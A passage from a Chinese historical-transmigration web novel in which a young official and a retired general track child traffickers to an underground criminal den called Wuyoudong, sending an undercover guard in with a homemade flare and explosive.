再看看这些丢失孩子的父母,看衣着打扮都是些普通人家,最好的也只是商户,可见人贩子在偷孩子之前会事先调查。可这些孩子遍布京城四处,要想在这么多人口中找到周正漂亮的有下手机会的,可不是件容易事儿。 要知道这时候可没有网络之类的东西,要想知道对方在做什么,只有实地考察,可问了这些父母当时有什么古怪的地方,仔细思考过后都认为没有。 “这就奇怪了,悄无声息的偷走孩子,还没有一个当场发现,并且一点儿痕迹都找不到,难道都通过河水逃走?手段如此相似?这满京城的拐子,总不会都是一家吧?” 快速奔走的同时,九阙也在迅速思考,只是不知为何,今天的京城格外混乱,不少巡城军都在四处巡查,一问情况,发现是一位高官家中的独子不见了。这就更奇怪了。既然这些拐子只对普通人家下手,就说明他们对京城中的达官贵人还是有所顾忌的,为什么要冒着危险拐走一个高官家中的独子? 这不符合逻辑啊…… 顺着京城的水系,自刚刚发现六个孩子的桥洞扩散开去,所有人迅速行动开来,这些百姓意外的听九阙话,在摸排的时候动作极为迅速。一刻钟后,又抓住了一男一女。 但很遗憾,只找到了两个七八岁的孩子。 越是往外扩散,人手就显得越不够用,偏偏这时另外一支巡城军的队伍遇见这情况,要求应九阙等人暂时停下所有动作。理由也很充分,生怕打草惊蛇,影响到他们找人的动作。 “可刚刚那支小队的队长已经带着找到的六个孩子进宫了!” 对面的巡城军传来一阵很细微的骚动。看来就算是巡城军内部,也不是统一和谐,这会儿被人抢了功劳,这队人马就更不耐烦,见到那两个被拐的孩子倒是一喜,准备把他们也带走。理由很是冠冕堂皇,他们要让那位丢了孩子的伯爷看看是不是他的儿子。 这些百姓急着找孩子,见这巡城军不停的阻碍,有些着急。尤其是林大娘等人,哀声恳求,现场显得有些乱。 九阙皱了皱眉,若是继续这样下去,说不定会起冲突。她自己倒是不怕,可这些热心出来帮忙的百姓若是受到责罚,一颗帮人的心被泼了冷水,以后再遇到这样的情况,谁还会仗义出手相助? 恰在此时,一阵焦急的马蹄声奔雷一般赶来,听到动静的人回头一看,不乏有人倒抽一口凉气的。 只见逐渐昏黄的日光下,一队身穿黑甲手持长刀,就连胯下骏马都披挂甲链的人马飞速朝着这边赶来。为首之人怕是人高九尺,即使坐在马上也显得格外高壮。并且目标极为明确,就是九阙。 “吁——” 拉紧缰绳,这队人马连停下来的动作都几乎一致,很显然受过严苛的训练。 为首之人面色冷峻,看起来三四十岁的模样,头顶隐隐有几缕华发。周身气质冷凝,仿佛从枪林弹雨中走出来的一般,浑身上下透着一股血腥和兵器铁锈味儿。 发现对方的目光紧紧盯着自己,九阙默不作声,心里却摸摸盘算自己似乎没有得罪过这样的人…… 就在这时,为首之人从马上跳下,快步走开。 说实话,在对方的注视下,九阙都觉得自己的血液迅速冷凝,然后缓缓沸腾。这是遇到强敌的下意识反应。 “你就是应九阙?” 九阙将视线从对方身上抽离,看向背后那些黑甲骑士怀里抱着的瑟瑟发抖的孩童,一二三……六?! 所以那位高官的儿子没有找到? 因为急着转手,那六个孩子,包括刚找到的两个身上的外衣都被脱掉,换上的都是一些不起眼的麻布衣服,九阙没时间仔细分辨出身如何。所以这是没找到?等等,那这个虽然面容冷峻但眼神紧张急迫的男人是…… “我是。” “我,我的儿子,宝儿,今年五岁,大约一个时辰之前不见了,你能找到吗?” “您是?” “我是戚征。你能找到六个,不,八个被拐走的孩子,是不是还能找到更多?” “我需要更多的人手,而且,不能有人阻碍我找人。” 戚征看向已然瑟瑟发抖在他的注视下干脆跪倒在地的巡城军,利落的表示。 “没问题。陛下也已下旨,让巡城军,还有我,全力辅佐你找人。还有你用习惯的人,已经在路上,很快就到。” 用习惯的人? 呃,不会是之前一起办案的淳于他们吧? 第三十七章 无忧洞 说曹操曹操到,此时,前方还有一群人风风火火的赶到,正是淳于霜谢明尘和魏渊。不是,淳于霜和魏渊也就算了,勉强算是专业对口,怎么谢明尘也来了?他不是太医吗? 或许是九阙疑惑的眼神太过明显,戚征尽量温和的解释。 “若是孩子们受了伤,有个太医在,也好治疗。” 行吧。既然人家都想的那么清楚了,她总不能让谢明尘回去。只是,她有些疑惑,这位戚征大佬为什么那么信任自己可以找到他的儿子?她只是个六品小官儿,而且在京城出现也不过三天,竟然已经这么出名了吗? 不过现在说什么都浪费时间,有了整个京城的兵力帮忙,九阙还从戚征那边得到了一份全城的水系图。这图纸珍贵非常,如果今日出事之人不是戚征的儿子,景泰帝绝对不会让其他人拿到这图纸。即便如此,这地图也只能应九阙一个人看。 还好应九阙闲来无事曾经选修过刑侦侦查这方面的课,虽然学的不是那么精细,不过最后交作业的时候还受到了教授的表扬。这会儿看这张详细的水系图找人还算有些助力。 迅速找准之前林明德和戚宝儿丢失的位置,两者之间刚好夹着一条主河道,自那主河道分散开来,有二十七条细小河道,在那其中,又有桥梁十三座。 “戚大人,这十三座桥可能是个突破口。虽然很遗憾,但我也得说句实话。从令郎丢失到现在,已经过去一个多时辰,希望很少,但也不是没有,总之,不管到时候能不能找到您的孩子,也希望您能全力以赴。只要还在还在城里,总能找到。不过,您最好不要把您孩子的身份信息透露给别人。” “毕竟狗急跳墙,那些拐子很有可能根本不知道那是您的孩子,情急之下动手就不好了。且,狗有狗道,猫有猫道。那些拐子只单纯拐孩子的话,没必要拐到您头上,既然当真动手,您就要考虑一下自己是否得罪过什么人。对方可能不是想拐卖孩子,而是为了报复。” 坐在马上极速奔行的过程中,应九阙抽空跟戚征说了几句话,见对方一脸沉思,她转过头来看向淳于霜。具体情况淳于霜路上已经知道,这会儿她也正密切关注着道路两边的情况。 对上应九阙担忧的眼神,淳于霜握着缰绳的手一紧,就知道自己跟她想到一处去了。 今夜大动干戈找人其实不是上上策,可事关重大,连陛下都已经知晓,尤其已经牵涉到一位伯爵,已经不可能低调处理。不,或者是两位?毕竟威远伯和安远伯可是亲兄弟。 想起威远伯已经闭门谢客十余年,朝堂之上几乎销声匿迹,倒是他的哥哥安远伯,如今掌控护城军,在朝中的威望不小。或许,挡了某些人的路? 想起朝中复杂纷乱的时局,淳于霜揉了揉额角,将这些告诉了应九阙。 戚征这会儿也在默默消化两个女娃娃刚刚的话,他其实也有些怀疑这次是不是受到了无妄之灾。可如果那些躲在暗处的腌臜玩意儿认为自己没了官职就可以随意欺压那就是打错了主意! 九阙刚进京不过三日,什么派别争斗一概不知,听了这话也咂摸出来味道了。这要是大人之间的事情牵扯到小孩子,可就太恶心了。正费劲的查看周边情况,却看见找人的队伍里有妙龄女子,不由得皱紧眉头。当即让人群中的年轻女子和孩童赶紧回家去。现在情况不同,外面这么乱,这些容易成为目标的人群还是赶紧回去的好。 “大家都注意,每家必须留下青壮年守门,除了至亲,谁来敲门都不开!若是发现异样,立刻敲响铜盆铜锣呼救!四周都有巡城军巡守,若是听见,定会第一时间冲过去!大家千万记住,先保全己身!” 周围的百姓听到之后连连称是。 九阙这才微微松了口气。稀此刻天色已经渐渐暗下来,天气也渐渐变冷。周围的人脸已经开始模糊,她揉了揉鼻子,正准备让大家举灯,眼前突然清风一闪,鼻尖似乎闻到了一股很清新的味道,就像风,像在太阳底下晒了很长时间的被子,像开在旷野里的花…… 手心里感到一股异样,九阙低头,一个小小的纸团赫然出现在她手心里。 “大人!” 就在九阙低头查看的时候,魏渊手下第一个报来好消息。他们在前方五百步的位置,一处下水道下发现了一个藏起来的人。那人行迹诡异,这种时候不回家反而藏在下水道底下,谁知道是不是拐子?干脆直接抓了起来,这会儿那家伙看见了戚征,正瑟瑟发抖跪地求饶呢。 看来这脸上有道刀疤的家伙还是了解戚征威名的。淳于霜本来还想着要耗费一番功夫,没想到这刚抓来的拐子态度十分配合。 “你怎么这么配合?故意混淆我等视线?” “不敢不敢!” 那拐子跪地连连磕头。 “十八年前与北蛮大战的时候,我曾见过威远伯英姿,威远伯为大景杀敌无数,是大景的英雄,我等,我等不敢不配合。” 戚征仔细看一眼这跪在地上连连扣头的人身形动作和刻在骨子里难以忘却的某种经过训练的特殊举止,脸色突然变得难看。 “你曾经上过战场?” 曾经上过战场杀敌报国守卫国家的人,现在竟然成了拐子?有辱军人声名! “不不不!小人不是拐子!小人只是混口饭吃,倒卖些古玩,只为糊口啊!万万不敢做采生折割这等丧尽天良的事情!小人还想葬进祖坟里,这罪名小人万万不敢担当!” “那你怎会藏在那里?见到我们还想跑?” “我,这,小人虽说不敢拐卖孩童,但做的行当也不太光彩,小人还以为诸位大人是来抓小人的……” 魏渊手下的脸都黑了。还以为立了功,没想到只是胆小怕事啊! “你没说实话啊。” 九阙终于抬头,神情淡淡的看向这人。 “你虽然没干拐卖孩子的事儿,但你一定认识他们。不然,你为何会藏在下水道里?不,换个名字,你为何会藏在无忧洞中?” 此话一出,不仅那倒霉被抓的男人,周围人的脸都一瞬间难看无比! 无忧洞! 第三十八章 不入虎穴,焉得虎子 其实九阙并不知道无忧洞是什么地方,可是看周围人的脸色就晓得,那不是个好去处。甚至淳于霜的眼神下意识的瞥向了旁边的下水道。 接收到九阙茫然的眼神,淳于霜微微叹了口气,把自己知道的情报说了出来。 接连三代皇朝都选择将京城落在永安,毕竟永安这座都市经过历年改造,已经比较适应大部分人口生存。但正如之前所说,为了供给整座城的供水问题,先代皇朝将一条大河的水引了过来。京城之中四通八达的水系,以及居民们日常生活所需的下水道,在整座永安城下,形成了一个庞大的地下世界。 无论表面上如何繁华辉煌,有阳光的地方自然会有黑暗。一些难以落户入籍的流民;无法维持生计,只能任由自己堕落的底层百姓;更多的是一些从事违法犯罪的不法分子。因为地下世界错综复杂,朝廷就算想要围剿,在那黝黑暗沉的地方也难以施行。一代又一代的累积使得这个地下世界成为了犯罪分子的温床。时至今日已经难以统计整个永安城地下到底有多少人存在,或许他们就在一些不惹人注意的阴暗角落小心翼翼的窥探着生活在阳光下的人们。 拐子、暗娼、流民、罪犯…… 由这些人构成的小世界会是什么样子? 整个永安城的百姓对无忧洞可以说是既惧又怕。 因为那些人不敢得罪王公贵族,达官贵人,可对他们这些平头老百姓动手,却容易的很。这次孩子丢了,而且还在桥洞底下找到几个,淳于霜其实心里已经开始怀疑是不是和无忧洞有关。没想到竟然真的一语成谶。 话说,九阙既然都不知道有这个,为什么刚刚会如此确定是无忧洞人动的手? 九阙缓缓摊开手掌,手心里赫然躺着一片写着‘无忧洞’三字的小纸片。 “我刚刚只觉得眼前似乎有一阵风刮过去,等回过神来手里就有这张纸片儿。也不知道是哪路奇人异士给我的提示。” 将那张小纸片儿重新叠好放进怀里,九阙走近那个脸上有刀疤的男人,看着他腰间那个做工精细的钱袋子。 “我知道,你既然如此配合,定然是因为良心未泯,或者说你体内的热血还未完全熄灭。我们不会为难你,只是希望你能给出一点线索,毕竟看你这模样,应该也已经成家立业了吧?设身处地的想一想,如果是你的妻女被人拐走,你会不会希望有人能帮你一把?” 那男人牙齿咬的嘎吱作响。他既然和无忧洞有所联系,自然也知道他们的手段何其残忍。如果今日帮了别人,自家妻女可能就会有危险,这对于男人来说无异于一道叫人痛苦不堪的选择题。 戚征眉眼微微一动。 “今日过后你可入我戚家做护卫,你的家人也可随你一同过来。虽不至于大富大贵,但生活安稳总是有的。” “伯爷!” 男人简直又惊又喜。刚刚在这些大头兵四处搜寻的时候,他确实没有真心真心躲藏,这都是因为他看到了威远伯的身影。他确实也怀有私心,想要得到来自上头的奖赏,但是唯独没想到能得到自己最崇拜的将军赏识,甚至还可以近距离跟在他身边。 别以为这年头进了达官贵人家里做侍卫就是对你的一种侮辱。对绝大多数人来说,这可是一条登天之路。 眼前这个刀疤脸男人自然也是如此,他几乎抑制不住自己激动的心情。但很快他就反应过来,这一切的前提都是能对伯爷有所帮助。而且看伯爷今日会出现,说不定就是他的家人被无忧洞给掳去了。 “我知道他们有一个据点,专门用来暂时安放偷过来的妇女儿童。就离这里不远,我带诸位大人过去。不过动作可能要小点。一旦有风吹草动,那些人警醒的很,绝对会迅速转移,甚至有可能痛下杀手。” 戚征几乎没有犹豫,这带着两个贴身侍卫和九阙他们迅速前往,那是一个隐藏在巷子里的小院子,从外面来看就是一户普普通通的人家。戚征不愧是搞谍报出身的,先往里面扔了一颗石子,然后将让身边侍卫抓来的一只野猫往院子里一丢。 里面很快传来谨慎又细碎的脚步声,在看清楚只是一只野猫时忍不住松了口气。但紧接着,院门外头又传来一声声凄厉的猫叫,惹的里边儿的人心烦不已。 “娘的!这死猫叫春呢!赶紧让它滚。要是把外面那些巡查的给引过来,小心咱们都被头儿给弄死!” “咔嚓!” 紧接着就有一个鬼鬼祟祟的人影悄悄打开门,往外面一看,两只似乎闪着萤火的大眼睛就在他脚边儿呢,还一眨一眨的,似乎受到了惊吓,唰的一爪子挠到了他的小腿上。 “这该死的猫,给我站住!老子今天晚上非把你宰了下酒吃!” 第一个出来的男人脚步匆忙的追了出去,原本跟他一起出来查看的同伴见他大呼小叫的,急得直跺脚,连忙一溜小跑跟了上去。 小院内暂时陷入了安静。 戚征先行一步,别看他身形高大健壮,翻起墙来却轻盈的很,就像一片落叶一般,没有丝毫动静就潜入进去。 不多时,就招呼九阙等人进去。 九阙还是第一次面对这等惊心动魄的场景,不由得大感兴趣,淳于霜都要跟不上她的脚步了。结果刚进去就看到地上躺着一个生死不明的男人。虽说现在已经晕过去,但依旧可以从面容上看出这男人的凶神恶煞,甚至他的身上还沾染着些许褐色的印记,第六感告诉九阙,这些都是血。 不过更惹人注意的是戚征难看的表情。 顺着他的视线走到一间简陋的柴房,里面五六个瑟瑟发抖的少女挤成一团惊恐看过来的眼神,让九阙呼吸不由得一致。 这群混蛋玩意儿!里面甚至还有仅仅十一二岁的少女,在九阙看来还是个孩子,这会儿只穿着里衣,在这春寒料峭的时候,又冷又饿又怕,都不敢大口呼吸了。 强压下难受的情绪,九阙脑海中不断闪过现在的情况。他们当然可以将这些少女解救走,可如果那两个刚刚跑走的男人回来发现人不见必然会心生警醒,好不容易找到的线索就此中断,以后再想摸到无忧洞的底儿就难了。 可让这几个可怜的孩子继续留在这里,九阙肯定第一个不答应。深吸一口气,她很快做出了决定。有句话叫不入虎穴,焉得虎子? 用在这里,刚好。 第三十九章 信号弹,霹雳火? 九阙都还没细说,淳于霜已经明白了她的意思,当即反对。 “不行,这样太过危险!县主想的太简单了!那些被无忧洞抓走的女子不仅仅是被卖给别人,她们很有可能会遭受……” 接下来的话淳于霜有些说不出口,她知道这位县主从小被养在庄子里,人际关系可能有些简单。虽说不受家中重视,但也是大家小姐出身。这些话太过污秽,她都有些担心这位县主能不能接受。 应县主当然是个好人,她会在别人家的孩子丢失之际不遗余力的帮忙,也会想用自己以身涉险的法子,可正因如此,淳于霜才不能眼睁睁看着她在毫无所觉的情况下断送自己。 “县主,您听我说,您可能不太了解无忧洞的那些贼子,他们手段残忍,无所不用其极。您是陛下亲封的县主,六品官员,这里这么多人,何必要自己上场?” 戚征这会儿也断然拒绝。 “我虽然很想找回自己的儿子,可这不能以无辜之人的损伤为前提。不然,就算宝儿被找回来也会怪我。” 魏渊这会儿动了动脚尖,来之前他已经接到了陛下的命令,不管发生任何事,首要前提就是保住应九阙的命。虽然不知道陛下为什么这么看重他,可既然自己在场,就不能眼睁睁看着应九阙自己找死。 “不是,你们把我想的也太笨了吧,我既然提出这个法子,自然知道会有危险。但我们现在能抓到这几个拐子已经算是意外之喜,不能再寄希望于侥幸。如果在那些人反应过来之前不能找到孩子们,谁知道他们会做什么?” 应九阙有些无奈,虽然她现在这具身体年龄才十几岁,可并不代表她内里的灵魂什么都不知道啊?这些人贩子能做出来的事儿简直叫人发指,可难道就因为前方有危险她就什么都不做吗? 反正在这个完全陌生的鬼地方活着确实没什么意思,说不定这次救了人之后,老天爷能看在她英勇牺牲的份儿上让她回去呢? 而且这也是现在唯一的机会了。别看现在外面的声势大的很,可地下水道这种东西,除非你亲自下去摸排,否则,站在地面的人,不可能找到藏在地底的东西。更何况他们又怎么可能比生活在地底不知道多长时间的人更了解地下通道?无忧洞底下生活的某些人,待的时间甚至比这个王朝建立的时间还要长。完全不了解情况的人下去,那完全就是送菜的,一送一个准。 “我这回下去也只是为了摸准他们会把拐来的孩子放在哪里,到时候及时通知你们,赶紧来救人不就行了。” 淳于霜几人还是很不情愿。他们难道不知道这个法子吗?但问题就出在这里。就算摸清楚地点,也无法及时准确的通知外面的人。以前也不是没有官员围剿过无忧洞,可往往得到消息赶过去时,人都已经跑的没影了。 否则,也不至于让他们猖狂这么长时间。 见大家还是很不信任自己的样子,九阙有点儿着急,最后不得不妥协,小心翼翼的从怀里掏出来两个罐子。为了让大家信任自己,这会儿也是不留余力的大肆吹嘘。 “看见我手里这两个东西了吗?这个是信号弹,只要一拉这根弦,天空就会炸出来一朵花。特别明亮的那种,你想想现在已经是晚上,天黑的很。头顶突然炸开一朵亮花,那不是很容易就能找到目标了吗?虽然只是个没有研究完全的炮仗,但也够用了哈。” “还有这个。这可是重中之重,足足花了我一两银子,好不容易才弄成功。遇到危险,比如说那些歹徒想对我图谋不轨的时候,我直接拿出来往地上一摔,碰的一下,他们就全炸上天了!你说说,就这么双重保护之下,我怎么可能受伤呀?” 说了半天没得到回应,应九阙还觉得奇怪呢,抬眼一看,发现戚征魏渊他们死死的盯着自己手中这两个罐子,不由得警觉。 “干嘛?你们不会是想抢吧?这可是我的独门秘方,不会轻易交给你们。” 戚征用尽了毕生所有的毅力,才将自己的眼神从那两个其貌不扬的小罐子上挪开。作为领兵多年的将领,他自然知道应九阙口中所说的东西意义有多么重大。可以在黑夜中璀璨夺目的存在,可以当做进攻撤退转移的信号。至于那威力极大的东西,戚征一时间想象不出来威力有多大。 但只要有第一个东西,今天晚上还真有可能把孩子们都救回来。 “应大人,你敢保证第一个罐子里的东西真能成功标注地点吗?” “当然可以!” 应九阙对戚征怀疑自己这件事儿感到有些屈辱。这可是她在林府的时候实在不想听林家那些老老少少们啰里吧嗦的话,用来麻痹自己时鼓捣出来的东西。虽然看起来丑丑的,可作用那是一点儿都不落下。 这可是好东西!如果不是这种关键时候,她也不会把自己的底牌给露出来。以后就算不当官儿没钱了,她也可以靠卖炮仗烟花赚钱。嘶,这玩意儿这个时代应该还没出现吧? 纠结中的应九阙根本就没看到戚征明亮的如同两点星火般的眼睛。 “应大人千金之躯,还是不应以身涉险。” 赶在应九阙生气之前,他又紧接着说了下半句话。 “不过既然有了这两样东西,我手底下也不是没有身手矫健武功了得的女护卫。只是要麻烦应大人告诉她该如何使用这两样东西了。” 其实戚征也对应九阙所说的这两样神兵利器持以怀疑的态度,但他现在要是不阻止,这位初出茅庐不怕虎的县主就要自己跑到那龙潭虎穴里去了。 这样好的时机,一个手无缚鸡之力的县主根本比不上手底下武艺非凡的女侍卫。 好吧,其实应九阙就是被嫌弃了。 好说歹说应九阙总算是同意了,把这两样东西的使用方法详细告诉了一个不知从哪里跳进来的小姐姐。尤其是第二样东西。 “这位姐姐,你可千万要小心,这第二样东西威力比较大,我给它取名叫霹雳火。甩出去之前自己一定要找个安全的地方躲好……” 第四十章 潜伏 那位看起来干脆利落的大姐姐脸上扯出来一个不甚熟练的笑容,可以看出来这位长得很是英气的大姐姐对这项业务不太熟练,但也相当敬业。尤其在听到应九阙叮嘱她使用那什么霹雳火的注意事项时,神色几乎可以说是温柔了。站在戚征身后的两个侍卫几乎是惊悚的看着对方脸上的表情,怀疑自己今天是不是没洗眼睛,才至于看到了幻觉。 这还是他们不苟言笑杀气纵横的副队吗?没想到有朝一日也能看到她老人家这张脸上露出温柔的表情啊。这回出来真是够本了,够本了。 淳于霜看着戚征手下的女护卫,欲言又止。虽说这个时候能出来一个武艺高强的女子前去查看消息是件好事儿,但是那些人贩子拐女孩儿的时候也是看脸的,毕竟长得好看也是一种资源。可这位女护卫…… 当然不能说长得丑,可是英姿飒爽的,不太符合那些人贩子的标准吧? 不过接下来发生的一幕就有些挑战淳于霜的认识了。因为对方伸手搓了把脸,原本英姿飒爽干脆利落的神情微妙的一变,就变成了一个略显英气,但温柔大方的女子形象。 应九阙“哇”的一声,就差没有拍手鼓掌了,原来不需要用到化妆神术,也可以让人变得‘面目全非’啊。 时间紧迫,大家很快就完成了布置。在盯梢的放出信号之后,戚征当机立断的放走了那几个瑟瑟发抖的女孩子。一阵略显惊恐的细微骚乱过后是急促的脚步声。刚刚出去查看的两个拐子这会儿骂骂咧咧的回来,看着大开的院门心中顿感不妙。进门儿一瞅,娘的!人一个都不见了!还包括他们的同伴。 再一看门口那凌乱的脚步痕迹,哪儿还能不知道这是被人给跑了? “快追!要是再不回去上头能把咱们的皮给剥了。话说今天晚上可真是够乱的,怎么那么多巡查的?” “别说了,我听到这边有动静,赶紧追过去!起码得找回来一个交差啊!” 跟着戚征藏在黑暗的角落里,九阙眼睁睁看着这两个人被引到布置好的方向,并且途中丝毫没有怀疑,忍不住多看了一眼身边这位据说已经退休的大将军。 该说不愧是建国时期那波牛哄哄的人才吗?这诱敌深入的本事可真是细致入微,毫无痕迹啊。 片刻过后,那两个拐子压着一个瑟瑟发抖的高挑身影回来,嘴里还小声骂骂咧咧的,只是还没等他们进院门儿,就听到远处传来一阵急促的脚步声以及喝令搜查的声音,脚步顿时一拐,往左前方去了。如果应九阙没记错的话,左前方确实有一个已经废弃的小桥洞。 众人彼此对视一眼,都安静的待在了原地。事已至此,只有指望那位女护卫了。 等待的过程无疑是煎熬的。这期间戚征等人也没有闲着,满城巡查,把那些见不得光的人撵的到处乱窜。也正是因此,那些原本有所怀疑的人也随大溜的回到了对于他们来说最为安全的地方——无忧洞。 幽深昏暗的地下其实并没有众人想象的那么逼仄。经过接连三代王朝,整个地下形成了四通八达的通道。一些是天然形成的沟渠,更多的则是居住其中的人们为了方便居住通行挖掘出来的通道。地下阴暗潮湿,当然不可能躺在水中睡觉。更多的是用木头,竹子搭建起来的住所。只不过起居住行肯定不如地上来的方便。 这会儿压着那英气女护卫的两人在地下穿梭来往,因为要行走,倒也没有把那女护卫打晕,只是一脸狰狞的逼着她往前走。女护卫——萧声,这会儿害怕的小声抽泣,却又不敢动作太大,以免触怒身后那两个拐子,只是那双盯着黑暗的眼睛却亮的出奇。她在尽力记下无忧洞里七扭八拐的通道。现在还不知道那位应县主提供的两样武器效果到底有没有所说的那么厉害,她最好能把这里的路线记清楚,也好日后带领大家来围剿。 “娘的,今天晚上这运气怎么这么差?好不容易找到几个好的竟然给跑了!就找回来一个,这个年纪看起来也大了,不如那几个生嫩,上头肯定不喜欢。待会儿不会揍我们吧?” “这跟咱们也没关系呀,谁知道今天晚上这巡城军的兔崽子们到底是吃错哪种药了,满京城的乱窜,可显着他们了。哎你说,以前也不是没丢过人,也没这么大阵仗,难道是哪个不长眼的偷到人家权贵家里去了?” “这也难说。最近几回招进来的人根本不成,跟软脚虾似的,也没点儿眼力见儿……” “嘘!快到了,别说话。” 萧声安静的走在前面,时不时发出来一声泣音。前方有模糊的声音传来,似乎是抑制不住的担惊受怕。应该是快要到了。据那个刀疤脸所说,底下拐卖妇女儿童的拐子们也不是随便拐谁都行,还要看拐过来的两脚羊质量怎么样,质量越上乘,得到的奖赏就越多。 今天晚上刚好就是每个月质量比较的时候。 果不其然,接连拐了五个弯儿之后,眼前豁然开朗,是一大片空地,只是此刻空地上挤满了抽抽噎噎的女子孩童。只是这些人就连抽泣也只敢死死捂住自己的嘴,不敢大声叫嚷,当然也有可能是暂时被毒哑了。总而言之,这么大片空地上站了挤挤挨挨上百个人,竟然也没发出太大的动静。 萧声这会儿被狠狠推搡了一把,顺着力道往前方人群倒去。几个哭泣的女子连忙扶住她,只是也不敢说话,只敢用眼神询问。这时候又有几个拐子推着女子孩童进来,不仅态度不耐烦,还口出污言秽语,时不时地还要动手。 萧声叹了口气,尽量把身边人往里面赶了赶。现在还不是最好的时机,她得等着尽可能多的拐子把人带来,才能救下最多的人。 又过了两炷香时间,一声清脆的锣响过后,现场顿时陷入了安静。一股不知从何处起的阴冷气息席卷而来,随着一连串脚步声,一群衣着光亮的和地下世界并不符合的人缓缓走了进来,走上了与这个大空间相连的,但地势略高的小洞穴,居高临下的看着在场所有人。 第四十一章 达成共识 新进来的这群人,每个脸上都戴了面具,形状不一,但看起来都格外狰狞。大概是黑夜给他们增添的底气吧,这会儿一个个的看着下方众人的眼神就像在看楼蚁一样,居高临下的很。 “这不是易先生吗?他怎么也来了?” 随着这群人的出现,在场所有人都忍不住轻轻嘶了一声,包括那些拐子们。显然易见,就连他们之前也很少见到为首这几人出现。 萧声维持住脸上惊恐瑟缩的表情,却从眼底的余光中偷偷看向台上。那也被尊称为易先生的男人身高体长,体态匀称,站在那里就像一个教书先生似的,可身上的气质却像从地底爬出来的阎罗,带着无尽的黑暗。只是看着他就容易让人联想起死亡、残忍、地狱之类的场景。 易先生冷冷的盯着下方那些污秽不堪的人群,动作十分隐蔽的掩了掩口鼻。显然在他眼中就算底下这群忠心耿耿的属下也算不上人,只是一群略微好用些的工具。工具而已,无论如何掩盖不了身上的污浊之气。 不过他今夜来这里似乎真的有重要的事。那双如鹰隼一般的眼睛在人群中穿梭来往,最终定格在了被女人们围在最中央的孩童身上。这群底层人还真是卑微下贱,还准备在这样的时候彰显自己身为好人的仁慈吗?一群自身难保的楼蚁而已,未免把自己想的太过高尚。 “把那群小孩儿给我拉出来。” 女孩子们当然很想帮忙,可是在群狼环伺的情况下自身都难保,更别说保护这些孩子了。不多时,那群普遍五到八岁的孩童被揪了出来,因为人数众多,所以排了整整五行。 那位易先生显然很不情愿沾染这群待宰羔羊身上的气息,可有重任在身,不得不纡尊降贵的走下高台,在这五排孩子之间来回穿梭。 “哒哒哒……” 易先生的脚步声在因为过于安静而显得有些死寂的洞穴中轻轻响起。萧声蜷缩在衣袖底下的手指忍不住握在一起,指尖狠狠刺入掌心,保持了些许冷静,这易先生绝对杀过很多人才会有这样凛然的杀气,面对他,萧声几乎忍不住反击的本能。 连萧声都有这样下意识的反应,更别说那群柔弱无辜的孩子。头顶有如实质的冰冷视线一旦扫到身上,孩子们就会忍不住瑟缩一下。但在这种情况下,也没有拐子敢训斥他们,因为就连他们自己都忍不住深深垂下了头颅。 一炷香时间缓缓流去。易先生最终停在了两个互相搀扶,手掌紧紧握在一起的孩子身上。这两个孩子看起来都在五岁左右,而且都生的唇红齿白,玉雪可爱,宛如一对观音座下的金童。身上穿着的是品质最低劣的麻衣,虽然害怕,但却勉强保持了一丝镇定。这让他们在一群瑟瑟发抖的孩童中间显得有些突兀。这样年岁的孩子是不懂得掩盖自己与他人身上不同的,也因此让他们暴露了。 易先生没有被面具覆盖的嘴角扯出一个冰冷的弧度,那是一丝冷笑。阴冷的嗓音带着一丝诡异,就像在玩捉迷藏时终于找到了最后那个藏起来的玩伴似的,竟然诡异的带着一缕兴奋。 “找到你们了。” 萧声脖颈处的汗毛瞬间竖起。此刻她终于确定,这就是个疯子。 那两个孩子这会儿强撑着抬起头,盯着这个找到他们的大人,其中一个颤抖着嗓音开口。 “我,你找我们有事吗?这位大人,我们好像没有得罪过你。” 易先生也有些惊讶这个小孩儿的反应,不过这样才有趣。 “你当然没得罪过我,毕竟我们之前从未见过,可是你爹得罪了我。要怪就怪你为什么会有那么一个不识时务的爹吧。” 那个孩子小心翼翼的解释。 “我爹只是个普通人,一向与人为善,他怎么可能得罪您呢?你是不是认错人了?” 易先生缓缓低头,森冷的吐息叫人头皮发麻。 “你倒是个聪明的孩子……” 短暂的停顿过后。 “可我平生最讨厌聪明人。” 萧声的心猛然提起,因为她已经发现,那两个孩子其中的一个正是自家小少爷! 易先生找到了自己想找的人,身上的气息倒是没那么冷凝,只是依旧没走,一双孤狼似的眼珠子盯着下方乌泱泱的人群,懒洋洋的开口。 “行了,开始吧。让我看看谁是今天晚上的彩头王。” 有他这么一句话,下面的气氛才渐渐活跃开。他回到了高台之上,只是小少爷的身影,虽然还在孩子里站着,周围却已经有很多双眼睛死死的盯着他,让萧声很难找到合适的机会出击。 摸着怀里那两个小玩意儿,萧声皱了皱眉,她得找个机会靠近高台。如果这小东西真有应县主说的那么厉害,她不能误伤别人。 好在那个易先生看起来好像有洁癖似的,不愿意让那些被抓来的人靠近他,依旧站在那高台之上,一派闲适的模样。而那些地位比较高的无忧洞人都跟在他身边,倒是可以一网打尽。但问题就在于剩下那些低级的小喽啰,他们分散在女人孩子四周,有些难以分开。 如果可以在短时间内阻拦住他们…… 苦苦思考恰当时机的萧声只觉得自己的袖子被轻轻拽了一下,一低头就看到站在她身边的姑娘小心翼翼盯着自己看的模样。 “那个,我可以帮忙的。” 萧声睫毛微微一颤,她不知道这个姑娘是怎么发现自己异常的,但能在这种时候挺身而出站出来帮忙,实在给了她很大帮助。在这种群狼环伺的情况下能够站出来,已经承担了很大的风险。低头在她耳边悄悄说了几句话,她身边的这个姑娘身形很娇小,听完她说的话之后,脸上出现一瞬间的空白,但紧接着就悄悄融入了人群里,在尽量不惹人注意的情况下来回穿梭。不多时,萧声就收到了来自各个方向的隐蔽视线。 在极度危险的情况下,于无声之中,这群在恶人们看来柔弱无依的姑娘们达成了共识。 第四十二章 雷霆神君下凡 这场仿佛闹剧一样的行为在持续了半个时辰之后终于达到了尾声,易先生的耐心已经达到了顶峰。他冷冷的看着下方众人,在短暂的沉默过后高声宣布。 “这次的货品质都不错,赖老三,邬癞……” “每人都有赏!” “哗啦”一声,易先生身后众人推翻一个高高耸立早已经准备好的箱子,从里面倾泻出大量白花花的银钱。无忧洞都是一群亡命徒,大批大批的钱财是能催动他们欲望的最大催化剂。萧声能够很清楚的听到周围那些亡命徒呼吸猛然加重的声音。这样直白的刺激会不断加重他们心底的野望,促使他们像以前一样当个趁手好用的工具。不,他们甚至会为此更加拼命!这也是无忧洞对这些人的一种操控手段了。 只不过萧声听到就站在她身边的一个亡命徒略显奇怪的询问。 “易先生今天怎么这么大方?每个人都有赏,这样的事儿可不多见。” “可不是嘛,估计易先生今天心情好,管他那么多呢,只要有钱拿不就成了?” “也是。” 